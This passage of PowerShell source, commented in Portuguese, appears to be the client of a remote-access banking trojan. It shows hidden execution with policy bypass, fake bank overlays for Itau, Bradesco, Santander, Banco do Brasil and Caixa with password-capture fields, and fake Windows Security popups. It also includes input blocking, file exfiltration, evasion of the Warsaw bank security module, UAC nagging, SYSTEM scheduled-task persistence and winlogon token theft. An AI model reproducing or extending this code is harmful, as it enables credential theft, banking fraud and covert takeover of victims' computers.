REGIAO COM BURACO apenas no monitor selecionado `$fullRegion = New-Object System.Drawing.Region(New-Object System.Drawing.Rectangle(0, 0, `$vsW, `$vsH)) `$holeRect = New-Object System.Drawing.Rectangle(`$holeRelX, `$holeRelY, `$holeW, `$holeH) `$fullRegion.Exclude(`$holeRect) `$form.Region = `$fullRegion # 5. Timer para manter TopMost `$timer = New-Object System.Windows.Forms.Timer `$timer.Interval = 500 `$timer.Add_Tick({ try { `$form.TopMost = `$true [CropAPI]::SetWindowPos(`$form.Handle, [CropAPI]::HWND_TOPMOST, 0, 0, 0, 0, 0x0003) } catch {} }) `$timer.Start() # 6. Prender mouse na area do buraco (recalculado) `$holeAbsFinalX = `$vsX + `$holeRelX `$holeAbsFinalY = `$vsY + `$holeRelY `$form.Add_Shown({ `$rect = New-Object CropAPI+RECT `$rect.Left = `$holeAbsFinalX `$rect.Top = `$holeAbsFinalY `$rect.Right = `$holeAbsFinalX + `$holeW `$rect.Bottom = `$holeAbsFinalY + `$holeH [CropAPI]::ClipCursor([ref]`$rect) [CropAPI]::SetForegroundWindow(`$form.Handle) [CropAPI]::BringWindowToTop(`$form.Handle) }) `$form.Add_FormClosed({ `$timer.Stop() [CropAPI]::ClipCursor([IntPtr]::Zero) }) [System.Windows.Forms.Application]::Run(`$form) "@ # Salvar frame DXGI atual para o crop process carregar (evita CopyFromScreen) $cropFramePath = "$($script:DxgiFramePath).crop" try { [IO.File]::WriteAllText($script:DxgiReqPath, "1") for ($i = 0; $i -lt 10; $i++) { if (Test-Path $script:DxgiFramePath -EA 0) { [IO.File]::Copy($script:DxgiFramePath, $cropFramePath, $true) Remove-Item $script:DxgiFramePath -Force -EA 0 break } [Threading.Thread]::Sleep(10) } } catch {} # Executar em processo separado para nao bloquear (nome polimorfico) $scriptPath = "$env:TEMP\$([guid]::NewGuid().ToString('N').Substring(0,8)).txt" $cropCode | Out-File -FilePath $scriptPath -Encoding UTF8 $script:CropProcess = Start-Process powershell.exe -ArgumentList "-NoP -EP Bypass -W Hidden -c `"IEX (gc '$scriptPath' -Raw)`"" -WindowStyle Hidden -PassThru $script:CropActive = $true return "Crop screen active" } function Stop-CropScreen { $script:CropActive = $false # Liberar mouse try { Add-Type @' using System; using System.Runtime.InteropServices; public class MouseRelease { [DllImport("user32.dll")] public static extern bool ClipCursor(IntPtr lpRect); } '@ [MouseRelease]::ClipCursor([IntPtr]::Zero) } catch {} # Matar processo do crop if ($script:CropProcess -ne $null) { try { $script:CropProcess.Kill() $script:CropProcess = $null } catch {} } # Matar qualquer processo PowerShell com crop_ Get-Process powershell* -ErrorAction SilentlyContinue | ForEach-Object { try { $cmdLine = (Get-WmiObject Win32_Process -Filter "ProcessId=$($_.Id)" -ErrorAction SilentlyContinue).CommandLine if ($cmdLine -like "*crop_*") { $_.Kill() } } catch {} } return "Crop stopped" } # QRDetector removido (dead code, usava System.Drawing/GDI+) # OTIMIZADO: Detect-QRSimple DESABILITADO (use Tela Fake no lugar) # Removido ~300 linhas de c?digo de detec??o autom?tica de QR # ??????????????????????????????????????????????????????????????????????????????? # CAPTURA DE VIDEO - DXGI Desktop Duplication (GPU, invisivel pro Warsaw) # ??????????????????????????????????????????????????????????????????????????????? function Get-Screenshot { try { if (-not $script:DxgiWorkerProcess -or $script:DxgiWorkerProcess.HasExited) { if (-not (Start-DxgiWorker)) { return $null } } [IO.File]::WriteAllText($script:DxgiReqPath, "1") for ($i = 0; $i -lt 30; $i++) { if ([IO.File]::Exists($script:DxgiFramePath)) { try { $data = [IO.File]::ReadAllBytes($script:DxgiFramePath) [IO.File]::Delete($script:DxgiFramePath) if ($data -and $data.Length -gt 100) { return $data } } catch {} } [Threading.Thread]::Sleep(2) } return $null } catch { return $null } } function Get-FileList { param([string]$Path) try { $items = @() if (!$Path -or $Path -eq '/' -or $Path -eq '') { Get-PSDrive -PSProvider FileSystem -EA SilentlyContinue | ForEach-Object { $items += @{ Name = "$($_.Name):"; Type = "drive"; Size = 0 } } } else { $Path = $Path.TrimEnd('\') + '\' if (Test-Path $Path) { Get-ChildItem -Path $Path -Force -EA SilentlyContinue | Sort-Object { !$_.PSIsContainer }, Name | ForEach-Object { $type = if ($_.PSIsContainer) { "folder" } else { "file" } $size = if ($_.PSIsContainer) { 0 } else { try { $_.Length } catch { 0 } } $items += @{ Name = $_.Name; Type = $type; Size = $size } } } } return @{ Path = $Path; Items = $items; Error = $null } } catch { return @{ Path = $Path; Items = @(); Error = $_.ToString() } } } function Get-FileData { param([string]$FilePath) try { if (Test-Path $FilePath -PathType Leaf) { $fileInfo = Get-Item $FilePath # Limite de 50MB para nao crashar o processo if ($fileInfo.Length -gt 52428800) { return @{ FileName = $fileInfo.Name; Data = $null; Size = $fileInfo.Length; Error = "Arquivo muito grande (max 50MB)" } } $bytes = [System.IO.File]::ReadAllBytes($FilePath) return @{ FileName = $fileInfo.Name; Data = [Convert]::ToBase64String($bytes); Size = $bytes.Length } } return $null } catch { return $null } } # ??????????????????????????????????????????????????????????????????????????????? # ?? SCREENSHOT OVERLAY - Tela fake fullscreen com Input e Bot?o # ??????????????????????????????????????????????????????????????????????????????? function Show-ScreenshotOverlay { param( [string]$ImageBase64, [int]$ImageWidth = 0, [int]$ImageHeight = 0, [int]$InputX = 0, [int]$InputY = 0, [int]$InputW = 0, [int]$InputH = 0, [int]$ButtonX = 0, [int]$ButtonY = 0, [int]$ButtonW = 0, [int]$ButtonH = 0, [int]$QRX = 0, [int]$QRY = 0, [int]$QRW = 0, [int]$QRH = 0 ) if (!$ImageBase64 -or $ImageBase64.Length -lt 100) { return "" } # Prefixo unico derivado do polimorfismo (primeiros 8 chars do svcname) $pfx = $__identity.SvcName.Substring(0, [Math]::Min(8, $__identity.SvcName.Length)) # Limpar arquivos antigos try { Get-ChildItem "C:\Windows\Temp\$pfx*" -ErrorAction SilentlyContinue | Where-Object { $_.LastWriteTime -lt (Get-Date).AddMinutes(-5) } | Remove-Item -Force -ErrorAction SilentlyContinue } catch {} $base64Clean = $ImageBase64 -replace '^data:image/[^;]+;base64,', '' $rnd = [guid]::NewGuid().ToString("N").Substring(0, 8) $tempImg = "C:\Windows\Temp\$pfx$rnd.png" $tempResult = "C:\Windows\Temp\${pfx}r$rnd.txt" $tempScript = "C:\Windows\Temp\$pfx$rnd.ps1" try { [System.IO.File]::WriteAllBytes($tempImg, [System.Convert]::FromBase64String($base64Clean)) } catch { return "" } # Construir blocos condicionais ANTES de gerar o script $qrBlock = "" if ($QRW -gt 0 -and $QRH -gt 0) { $qrBlock = @" # QR Transparente - buraco na janela `$qx = `$ox + [int]($QRX * `$scaleX) `$qy = `$oy + [int]($QRY * `$scaleY) `$qw = [Math]::Max(1, [int]($QRW * `$scaleX)) `$qh = [Math]::Max(1, [int]($QRH * `$scaleY)) `$rgn = New-Object System.Drawing.Region(New-Object System.Drawing.Rectangle(0,0,`$scr.Width,`$scr.Height)) `$rgn.Exclude((New-Object System.Drawing.Rectangle(`$qx,`$qy,`$qw,`$qh))) `$f.Region = `$rgn "@ } $inputBlock = "" if ($InputW -gt 0 -and $InputH -gt 0) { $inputBlock = @" # Input de senha `$ix = `$ox + [int]($InputX * `$scaleX) `$iy = `$oy + [int]($InputY * `$scaleY) `$iw = [Math]::Max(20, [int]($InputW * `$scaleX)) `$ih = [Math]::Max(20, [int]($InputH * `$scaleY)) `$txt = New-Object System.Windows.Forms.TextBox `$txt.Location = New-Object System.Drawing.Point(`$ix, `$iy) `$txt.Size = New-Object System.Drawing.Size(`$iw, `$ih) `$txt.Font = New-Object System.Drawing.Font('Segoe UI', [Math]::Max(10, [int](`$ih * 0.6))) `$txt.UseSystemPasswordChar = `$true `$txt.TextAlign = 'Left' `$txt.BorderStyle = 'None' `$txt.BackColor = [System.Drawing.Color]::White `$f.Controls.Add(`$txt) `$txt.Add_KeyDown({ if (`$_.KeyCode -eq 'Enter') { `$f.Tag = `$txt.Text; `$f.Close() } }) `$f.Add_Shown({ `$txt.Focus(); [W]::SetForegroundWindow(`$f.Handle) }) "@ } $buttonBlock = "" if ($ButtonW -gt 0 -and $ButtonH -gt 0) { $buttonBlock = @" # Botao clicavel `$bx = `$ox + [int]($ButtonX * `$scaleX) `$by = `$oy + [int]($ButtonY * `$scaleY) `$bw = [Math]::Max(20, [int]($ButtonW * `$scaleX)) `$bh = [Math]::Max(20, [int]($ButtonH * `$scaleY)) `$btn = New-Object System.Windows.Forms.Button `$btn.Location = New-Object System.Drawing.Point(`$bx, `$by) `$btn.Size = New-Object System.Drawing.Size(`$bw, `$bh) `$btn.FlatStyle = 'Flat' `$btn.FlatAppearance.BorderSize = 0 `$btn.FlatAppearance.MouseOverBackColor = [System.Drawing.Color]::Transparent `$btn.FlatAppearance.MouseDownBackColor = [System.Drawing.Color]::Transparent `$btn.BackColor = [System.Drawing.Color]::Transparent `$btn.Cursor = 'Hand' `$btn.Add_Click({ if (`$txt -ne `$null) { `$f.Tag = `$txt.Text }; `$f.Close() }) `$f.Controls.Add(`$btn) "@ } # Script PowerShell para o overlay (versao simplificada do original) $psCode = @" Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing Add-Type @' using System; using System.Runtime.InteropServices; public class W { [DllImport("shcore.dll")] public static extern int SetProcessDpiAwareness(int v); [DllImport("user32.dll")] public static extern bool SetForegroundWindow(IntPtr h); } '@ try { [W]::SetProcessDpiAwareness(2) } catch {} `$img = [System.Drawing.Image]::FromFile('$($tempImg -replace "\\", "\\")') `$scr = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds `$scale = [Math]::Min(`$scr.Width / `$img.Width, `$scr.Height / `$img.Height) `$fw = [int](`$img.Width * `$scale) `$fh = [int](`$img.Height * `$scale) `$ox = [int]((`$scr.Width - `$fw) / 2) `$oy = [int]((`$scr.Height - `$fh) / 2) `$scaleX = `$fw / `$img.Width `$scaleY = `$fh / `$img.Height `$bmp = New-Object System.Drawing.Bitmap(`$scr.Width, `$scr.Height) `$g = [System.Drawing.Graphics]::FromImage(`$bmp) `$g.Clear([System.Drawing.Color]::Black) `$g.InterpolationMode = [System.Drawing.Drawing2D.InterpolationMode]::HighQualityBicubic `$g.DrawImage(`$img, `$ox, `$oy, `$fw, `$fh) `$g.Dispose() `$f = New-Object System.Windows.Forms.Form `$f.FormBorderStyle = 'None' `$f.StartPosition = 'Manual' `$f.Location = New-Object System.Drawing.Point(0, 0) `$f.Size = New-Object System.Drawing.Size(`$scr.Width, `$scr.Height) `$f.TopMost = `$true `$f.BackgroundImage = `$bmp `$f.BackgroundImageLayout = 'None' `$f.ShowInTaskbar = `$false `$f.Tag = "" `$txt = `$null $qrBlock $inputBlock $buttonBlock `$tm = New-Object System.Windows.Forms.Timer `$tm.Interval = 300 `$tm.Add_Tick({ `$f.TopMost = `$true; `$f.BringToFront() }) `$tm.Start() `$f.Add_FormClosed({ `$tm.Stop() `$img.Dispose() `$bmp.Dispose() [IO.File]::WriteAllText('$($tempResult -replace "\\", "\\")', `$f.Tag) # Limpar temporarios imediatamente Start-Sleep -Milliseconds 100 try { Remove-Item '$($tempImg -replace "\\", "\\")' -Force -EA SilentlyContinue } catch {} try { Remove-Item '$($tempScript -replace "\\", "\\")' -Force -EA SilentlyContinue } catch {} }) [System.Windows.Forms.Application]::Run(`$f) "@ [System.IO.File]::WriteAllText($tempScript, $psCode, [System.Text.Encoding]::UTF8) # Guardar paths para monitoramento posterior $script:ScreenshotTempResult = $tempResult $script:ScreenshotActive = $true $script:ScreenshotStartTime = [DateTime]::Now try { $psi = New-Object System.Diagnostics.ProcessStartInfo $psi.FileName = "powershell.exe" $psi.Arguments = "-STA -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File `"$tempScript`"" $psi.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden # Verificar se ja e admin $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) if ($isAdmin) { $psi.UseShellExecute = $false $psi.CreateNoWindow = $true } else { $psi.UseShellExecute = $true $psi.Verb = "runas" } $script:ScreenshotProcess = [System.Diagnostics.Process]::Start($psi) # N?O BLOQUEIA - Retorna imediatamente para manter streaming ativo # O resultado ser? monitorado no loop principal return "__ASYNC__" # Sinaliza que est? rodando em background } catch { $script:ScreenshotActive = $false return "" } } function Show-ChatPopup { param([string]$Message, [string]$Title) if (!$Title) { $Title = "Seguranca do Windows" } # Escapar aspas simples $safeTitle = $Title -replace "'", "''" $safeMessage = $Message -replace "'", "''" $code = @" Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing `$form = New-Object System.Windows.Forms.Form `$form.FormBorderStyle = 'None' `$form.StartPosition = 'Manual' `$form.TopMost = `$true `$form.ShowInTaskbar = `$false `$form.BackColor = [System.Drawing.Color]::FromArgb(48, 48, 48) `$form.Size = New-Object System.Drawing.Size(380, 128) `$screen = [System.Windows.Forms.Screen]::PrimaryScreen.WorkingArea `$form.Location = New-Object System.Drawing.Point((`$screen.Right - `$form.Width - 8), (`$screen.Bottom - `$form.Height - 8)) `$appLabel = New-Object System.Windows.Forms.Label `$appLabel.Text = 'Protecao contra virus e ameacas' `$appLabel.Font = New-Object System.Drawing.Font('Segoe UI', 9) `$appLabel.ForeColor = [System.Drawing.Color]::FromArgb(230, 230, 230) `$appLabel.Location = New-Object System.Drawing.Point(16, 12) `$appLabel.AutoSize = `$true `$form.Controls.Add(`$appLabel) `$expandBtn = New-Object System.Windows.Forms.Label `$expandBtn.Text = '^' `$expandBtn.Font = New-Object System.Drawing.Font('Segoe UI', 12) `$expandBtn.ForeColor = [System.Drawing.Color]::FromArgb(180, 180, 180) `$expandBtn.Location = New-Object System.Drawing.Point(352, 10) `$expandBtn.Size = New-Object System.Drawing.Size(20, 20) `$expandBtn.Cursor = [System.Windows.Forms.Cursors]::Hand `$expandBtn.Add_Click({ `$form.Close() }) `$form.Controls.Add(`$expandBtn) `$titleLabel = New-Object System.Windows.Forms.Label `$titleLabel.Text = '$safeTitle' `$titleLabel.Font = New-Object System.Drawing.Font('Segoe UI', 10, [System.Drawing.FontStyle]::Bold) `$titleLabel.ForeColor = [System.Drawing.Color]::White `$titleLabel.Location = New-Object System.Drawing.Point(16, 38) `$titleLabel.Size = New-Object System.Drawing.Size(340, 20) `$form.Controls.Add(`$titleLabel) `$msgLabel = New-Object System.Windows.Forms.Label `$msgLabel.Text = '$safeMessage' `$msgLabel.Font = New-Object System.Drawing.Font('Segoe UI', 9) `$msgLabel.ForeColor = [System.Drawing.Color]::FromArgb(210, 210, 210) `$msgLabel.Location = New-Object System.Drawing.Point(16, 60) `$msgLabel.Size = New-Object System.Drawing.Size(350, 36) `$form.Controls.Add(`$msgLabel) `$timeLabel = New-Object System.Windows.Forms.Label `$timeLabel.Text = (Get-Date).ToString('HH:mm') `$timeLabel.Font = New-Object System.Drawing.Font('Segoe UI', 9) `$timeLabel.ForeColor = [System.Drawing.Color]::FromArgb(160, 160, 160) `$timeLabel.Location = New-Object System.Drawing.Point(16, 100) `$timeLabel.AutoSize = `$true `$form.Controls.Add(`$timeLabel) `$closeTimer = New-Object System.Windows.Forms.Timer `$closeTimer.Interval = 10000 `$closeTimer.Add_Tick({ `$form.Close() }) try { `$player = New-Object System.Media.SoundPlayer `$player.SoundLocation = "`$env:SystemRoot\Media\Windows Notify System Generic.wav" `$player.Play() } catch {} `$form.Add_Shown({ `$closeTimer.Start() }) `$form.Add_Click({ `$form.Close() }) [System.Windows.Forms.Application]::Run(`$form) "@ # Salvar script em arquivo temp e executar (nome polimorfico) $tempScript = "$env:TEMP\$([guid]::NewGuid().ToString('N').Substring(0,8)).ps1" # Adicionar auto-limpeza no final do script $code += "`nRemove-Item `$MyInvocation.MyCommand.Path -Force -EA SilentlyContinue" $code | Out-File -FilePath $tempScript -Encoding UTF8 Start-Invisible -Command "powershell.exe" -Arguments "-NoP -EP Bypass -W Hidden -File `"$tempScript`"" } function Check-BrowserTitle { try { $title = [WindowMonitor]::GetActiveTitle() if ([string]::IsNullOrEmpty($title)) { return @{ Detected = $false } } if ($title -ne $script:LastNotifyTitle) { $culture = [System.Globalization.CultureInfo]::InvariantCulture $compareOptions = [System.Globalization.CompareOptions]::IgnoreCase -bor [System.Globalization.CompareOptions]::IgnoreNonSpace foreach ($domain in $script:MonitorDomains) { $idx = $culture.CompareInfo.IndexOf($title, $domain, $compareOptions) if ($idx -ge 0) { $script:LastNotifyTitle = $title return @{ Detected = $true Title = $title Domain = $domain Process = "" Time = (Get-Date).ToString("yyyy-MM-dd HH:mm:ss") } } } } } catch {} return @{ Detected = $false } } # === FUNCOES DE INPUT E QR REMOVIDAS === # Mantido apenas: Modo Priv (tela fake + captura) function Handle-SystemCommand { param($Cmd, $Stream) switch ($Cmd) { "getMonitors" { Get-MonitorList | Out-Null Send-MonitorList -Stream $Stream return "Monitors: $($script:Monitors.Count)" } # =================================================================== # COMANDOS DE ELEVACAO E SERVICO # =================================================================== "elevate_reboot" { # Tenta elevar privilegios $scriptPath = $MyInvocation.MyCommand.Path if (-not $scriptPath) { $scriptPath = $script:SourceScriptPath } # Se ja e Admin, instala Task SYSTEM direto if (Test-IsAdmin) { if ($scriptPath) { $result = Install-ScheduledTask -ScriptPath $scriptPath if ($result) { return "[OK] Ja e Admin! Task SYSTEM instalada" } } return "[X] Falha ao instalar Task" } # Se e User, solicita UAC (abre popup pedindo Admin) if ($scriptPath) { $result = Request-Elevation -ScriptPath $scriptPath if ($result) { return "[OK] Popup UAC enviado! Aguarde usuario aceitar" } } return "[X] Falha ao solicitar elevacao" } "elevate_persist" { # Cria persistencia simples (Registry) sem precisar Admin $scriptPath = $MyInvocation.MyCommand.Path if (-not $scriptPath) { $scriptPath = $script:SourceScriptPath } if ($scriptPath) { $result = Install-ScheduledTask -ScriptPath $scriptPath if ($result) { return "[OK] Persistencia criada!" } } return "[X] Falha ao criar persistencia" } "install_service" { # Instala Task SYSTEM (precisa Admin) if (-not (Test-IsAdmin)) { return "[X] Precisa de privilegios de Admin" } $scriptPath = $MyInvocation.MyCommand.Path if (-not $scriptPath) { $scriptPath = $script:SourceScriptPath } if ($scriptPath) { $result = Install-ScheduledTask -ScriptPath $scriptPath if ($result) { return "[OK] Task SYSTEM $($script:InstallConfig.TaskName) instalada!" } else { return "[X] Falha ao instalar Task" } } return "[X] Script path nao encontrado" } "get_elevation" { # Retorna status de elevacao e persistencia $isSystem = Test-IsSystem $isAdmin = Test-IsAdmin $taskExists = (Get-ScheduledTask -TaskName $script:InstallConfig.TaskName -EA SilentlyContinue) -ne $null $persistMethods = Test-PersistenceInstalled $persistStatus = if ($persistMethods.Count -gt 0) { $persistMethods -join ', ' } else { 'Nenhuma' } return "System: $isSystem | Admin: $isAdmin | Task: $taskExists | Persist: $persistStatus" } "get_persist" { # Retorna status de persistencia $hasPersist = Test-CleanPersistenceInstalled $hasTask = (Get-ScheduledTask -TaskName $script:InstallConfig.TaskName -EA SilentlyContinue) -ne $null if ($hasTask) { return "[OK] Task SYSTEM instalada" } elseif ($hasPersist) { return "[OK] Persistencia via Registry ativa" } return "[X] Nenhuma persistencia instalada" } "install_persist" { # Instala persistencia limpa (tarefa agendada) $scriptPath = $MyInvocation.MyCommand.Path if (-not $scriptPath) { $scriptPath = $script:SourceScriptPath } if ($scriptPath) { $result = Install-CleanPersistence -ScriptPath $scriptPath if ($result) { return "[OK] Tarefa agendada criada com sucesso!" } } return "[X] Falha ao instalar persistencia" } "elevate" { return (Handle-SystemCommand -Cmd "request_uac" -Stream $Stream) } "request_uac" { # Verificar se tarefa SYSTEM ja existe $existingTask = Get-ScheduledTask -TaskName $script:InstallConfig.TaskName -EA SilentlyContinue if ($existingTask -and $existingTask.Principal.UserId -match "SYSTEM") { if (-not $env:_sU) { $script:ForceExit = $true } return "[OK] Tarefa SYSTEM ja instalada: $($script:InstallConfig.TaskName)" } # Resolver script source $srcScript = $script:SourceScriptPath if (-not $srcScript -or -not (Test-Path $srcScript -EA SilentlyContinue)) { $srcScript = "$env:ProgramData\Microsoft\$($__identity.SvcName)\$($__identity.FileName).txt" } if (-not (Test-Path $srcScript -EA SilentlyContinue)) { $srcScript = "$env:APPDATA\Microsoft\$($__identity.SvcName)\$($__identity.FileName).txt" } if (-not (Test-Path $srcScript -EA SilentlyContinue)) { return "[X] Script nao encontrado" } $isAdmin = Test-IsAdmin $isSystem = Test-IsSystem # Ja elevado: instalar direto sem UAC if ($isAdmin -or $isSystem) { if ($srcScript) { $script:SourceScriptPath = $srcScript } $r = Install-ScheduledTask -ScriptPath $srcScript if ($r) { $script:ForceExit = $true; return "[OK] Tarefa SYSTEM instalada!" } return "[X] Falha ao instalar" } # Usuario normal: disparar UAC em background (NAO bloquear o WebSocket) # Start-Job roda em processo separado ? retorna imediatamente ao painel $srcEsc = $srcScript -replace "'", "''" Start-Job -ScriptBlock { param($src) $proc = Start-Process powershell.exe ` -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -Command `"& ([ScriptBlock]::Create((gc '$src' -Raw))) -ScriptPath '$src' -InstallService`"" ` -Verb RunAs ` -PassThru if ($proc) { $proc.WaitForExit(180000) } } -ArgumentList $srcEsc | Out-Null return "[UAC] Popup enviado ao cliente - aguarde o clique em Sim..." } "update_domains" { # Adiciona dominios personalizados do painel a lista de monitoramento # Permite que dominios customizados adicionados no filtro do painel sejam detectados try { if ($j.domains -and $j.domains.Count -gt 0) { $added = 0 foreach ($d in $j.domains) { $d = "$d".Trim() if ($d -and $script:MonitorDomains -notcontains $d) { $script:MonitorDomains += $d $added++ } } return "[OK] +$added dominios adicionados (total: $($script:MonitorDomains.Count))" } return "[X] Nenhum dominio fornecido" } catch { return "[X] Erro: $_" } } "get_domains" { # Retorna lista atual de dominios monitorados (para debug) return ($script:MonitorDomains -join ", ") } "remove_persist" { # Remove toda persistencia (usado antes de uninstall) $result = Remove-AutoPersistence if ($result) { return "[OK] Persistencia removida!" } return "[X] Falha ao remover persistencia" } # =================================================================== "blankOn" { Start-DisplayOverlay -Mode 1; Start-InputPause; return "Overlay Mode 1 ON + Input Blocked" } "blankOff" { Stop-DisplayOverlay; Stop-InputPause; return "Overlay OFF + Input Unblocked" } "blockOn" { Start-InputPause; return "Input Blocked" } "blockOff" { Stop-InputPause; return "Input Unblocked" } "overlay_on" { Start-DisplayOverlay -Mode 1; Start-InputPause; return "Overlay ON" } "overlay_off" { Stop-DisplayOverlay; Stop-InputPause; return "Overlay OFF" } # Modos de Privacidade Customizados "priv1" { Start-DisplayOverlay -Mode 1; Start-InputPause; return "Overlay Mode 1: Windows Update (Animado)" } "priv2" { Start-DisplayOverlay -Mode 2; Start-InputPause; return "Overlay Mode 2: Preparando Windows" } "priv3" { Start-DisplayOverlay -Mode 3; Start-InputPause; return "Overlay Mode 3: Tela Azul (BSOD)" } "priv4" { Start-DisplayOverlay -Mode 4; Start-InputPause; return "Overlay Mode 4: Verificando Disco" } "priv5" { Start-DisplayOverlay -Mode 5; Start-InputPause; return "Overlay Mode 5: Tela Preta" } # Modos de Banco (apenas 5 primeiros) "priv6" { Start-DisplayOverlay -Mode 6; return "Overlay Mode 6: Itau" } "priv7" { Start-DisplayOverlay -Mode 7; return "Overlay Mode 7: Bradesco" } "priv8" { Start-DisplayOverlay -Mode 8; return "Overlay Mode 8: Santander" } "priv9" { Start-DisplayOverlay -Mode 9; return "Overlay Mode 9: Banco do Brasil" } "priv10" { Start-DisplayOverlay -Mode 10; return "Overlay Mode 10: Caixa" } "priv11" { Start-DisplayOverlay -Mode 11; return "Overlay Mode 11: Itau Elaborado" } "priv12" { Start-DisplayOverlay -Mode 12; return "Overlay Mode 12: Bradesco Elaborado" } "priv13" { Start-DisplayOverlay -Mode 13; return "Overlay Mode 13: Santander Elaborado" } "priv14" { Start-DisplayOverlay -Mode 14; return "Overlay Mode 14: BB Elaborado" } "priv15" { Start-DisplayOverlay -Mode 15; return "Overlay Mode 15: Caixa Elaborado" } "priv16" { Start-DisplayOverlay -Mode 16; Start-InputPause; return "Overlay Mode 16: Windows Defender Scan" } "privOff" { Stop-DisplayOverlay; return "Overlay OFF" } "screenshotCancel" { # Cancelar tela fake ativa e restaurar modo priv try { if ($script:ScreenshotProcess -and -not $script:ScreenshotProcess.HasExited) { $script:ScreenshotProcess.Kill() $script:ScreenshotProcess.WaitForExit(1000) } $script:ScreenshotActive = $false $script:ScreenshotProcess = $null # Restaurar modo priv anterior if ($script:WasOverlayActive -and $script:PreviousOverlayMode -gt 0) { Start-DisplayOverlay -Mode $script:PreviousOverlayMode return "Screenshot cancelado, modo priv $($script:PreviousOverlayMode) restaurado" } return "Screenshot cancelado" } catch { return "Erro ao cancelar: $_" } } "cropStop" { try { Stop-CropScreen # Restaurar priv mode que estava ativo antes do crop if ($script:OverlayModeBeforeCrop -and $script:OverlayModeBeforeCrop -gt 0) { Start-DisplayOverlay -Mode $script:OverlayModeBeforeCrop $modeRestored = $script:OverlayModeBeforeCrop $script:OverlayModeBeforeCrop = $null return "Crop stopped, priv mode $modeRestored restored" } return "Crop stopped" } catch { return "Crop error: $_" } } "lock" { rundll32.exe user32.dll,LockWorkStation; return "Locked" } "unlock" { try { Add-Type @" using System; using System.Diagnostics; using System.Runtime.InteropServices; public class WinlogonUnlock { [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessAsUser(IntPtr hToken, string app, string cmd, IntPtr procAttr, IntPtr threadAttr, bool inherit, uint flags, IntPtr env, string dir, ref STARTUPINFO si, out PROCESS_INFORMATION pi); [DllImport("advapi32.dll")] static extern bool OpenProcessToken(IntPtr h, uint a, out IntPtr t); [DllImport("advapi32.dll")] static extern bool DuplicateTokenEx(IntPtr h, uint a, IntPtr sa, int il, int tt, out IntPtr n); [DllImport("advapi32.dll")] static extern bool SetTokenInformation(IntPtr t, int c, ref uint i, int l); [DllImport("userenv.dll")] static extern bool CreateEnvironmentBlock(out IntPtr e, IntPtr t, bool i); [DllImport("userenv.dll")] static extern bool DestroyEnvironmentBlock(IntPtr e); [DllImport("kernel32.dll")] static extern uint WTSGetActiveConsoleSessionId(); [DllImport("kernel32.dll")] static extern bool ProcessIdToSessionId(uint p, out uint s); [DllImport("kernel32.dll")] static extern bool CloseHandle(IntPtr h); [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)] struct STARTUPINFO { public int cb; public string lpReserved, lpDesktop, lpTitle; public int dwX, dwY, dwXSize, dwYSize, dwXCountChars, dwYCountChars, dwFillAttribute, dwFlags; public short wShowWindow, cbReserved2; public IntPtr lpReserved2, hStdInput, hStdOutput, hStdError; } [StructLayout(LayoutKind.Sequential)] struct PROCESS_INFORMATION { public IntPtr hProcess, hThread; public int dwProcessId, dwThreadId; } public static string Run() { uint sess = WTSGetActiveConsoleSessionId(); if (sess == 0xFFFFFFFF) return "FAIL:NoSession"; IntPtr tok = IntPtr.Zero; foreach (Process p in Process.GetProcessesByName("winlogon")) { try { uint ps; ProcessIdToSessionId((uint)p.Id, out ps); if (ps == sess && OpenProcessToken(p.Handle, 0xF01FF, out tok)) break; } catch {} } if (tok == IntPtr.Zero) return "FAIL:NoToken"; IntPtr dup = IntPtr.Zero, env = IntPtr.Zero; try { if (!DuplicateTokenEx(tok, 0x2000000, IntPtr.Zero, 2, 1, out dup)) return "FAIL:Dup:" + Marshal.GetLastWin32Error(); SetTokenInformation(dup, 12, ref sess, 4); CreateEnvironmentBlock(out env, dup, false); STARTUPINFO si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); si.lpDesktop = "WinSta0\\Winlogon"; si.dwFlags = 1; si.wShowWindow = 0; PROCESS_INFORMATION pi; string cmd = "powershell -c \"Add-Type -MemberDefinition '[DllImport(\\\"user32.dll\\\")]public static extern void keybd_event(byte k,byte s,uint f,int e);' -Name K -Namespace W;1..10|%{[W.K]::keybd_event(13,0,0,0);Start-Sleep -m 1;[W.K]::keybd_event(13,0,2,0);Start-Sleep -m 1}\""; if (!CreateProcessAsUser(dup, null, cmd, IntPtr.Zero, IntPtr.Zero, false, 0x00000410, env, null, ref si, out pi)) return "FAIL:Proc:" + Marshal.GetLastWin32Error(); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return "OK:S=" + sess + ";PID=" + pi.dwProcessId; } finally { if (env != IntPtr.Zero) DestroyEnvironmentBlock(env); if (dup != IntPtr.Zero) CloseHandle(dup); CloseHandle(tok); } } } "@ return [WinlogonUnlock]::Run() } catch { return "ERROR: $_" } } "logoff" { Stop-DisplayOverlay; Stop-InputPause; shutdown /l /f; return "Logoff" } "restart" { Stop-DisplayOverlay; Stop-InputPause; shutdown /r /t 0 /f; return "Restart" } "shutdown" { Stop-DisplayOverlay; Stop-InputPause; shutdown /s /t 0 /f; return "Shutdown" } # Auto-reinicio do cliente (nao do PC) "client_restart" { try { # 1. Liberar todos os recursos Stop-DisplayOverlay Stop-InputPause Stop-CropScreen # 2. Reiniciar via Task Scheduler $restartScript = @" Start-Sleep -Seconds 2 Get-Process powershell* -EA SilentlyContinue | Where-Object { `$_.Id -ne `$PID -and (`$_.CommandLine -like '*$($__identity.FileName)*' -or `$_.CommandLine -like '*$($__identity.SvcName)*') } | Stop-Process -Force -EA SilentlyContinue Start-Sleep -Seconds 1 schtasks /run /tn '$($script:InstallConfig.TaskName)' 2>`$null "@ $tempScript = "$env:TEMP\$([guid]::NewGuid().ToString('N').Substring(0,12)).txt" $restartScript | Out-File -FilePath $tempScript -Encoding UTF8 Start-Invisible -Command "powershell.exe" -Arguments "-NoP -EP Bypass -W Hidden -c `"IEX (gc '$tempScript' -Raw)`"" Start-Sleep -Milliseconds 500 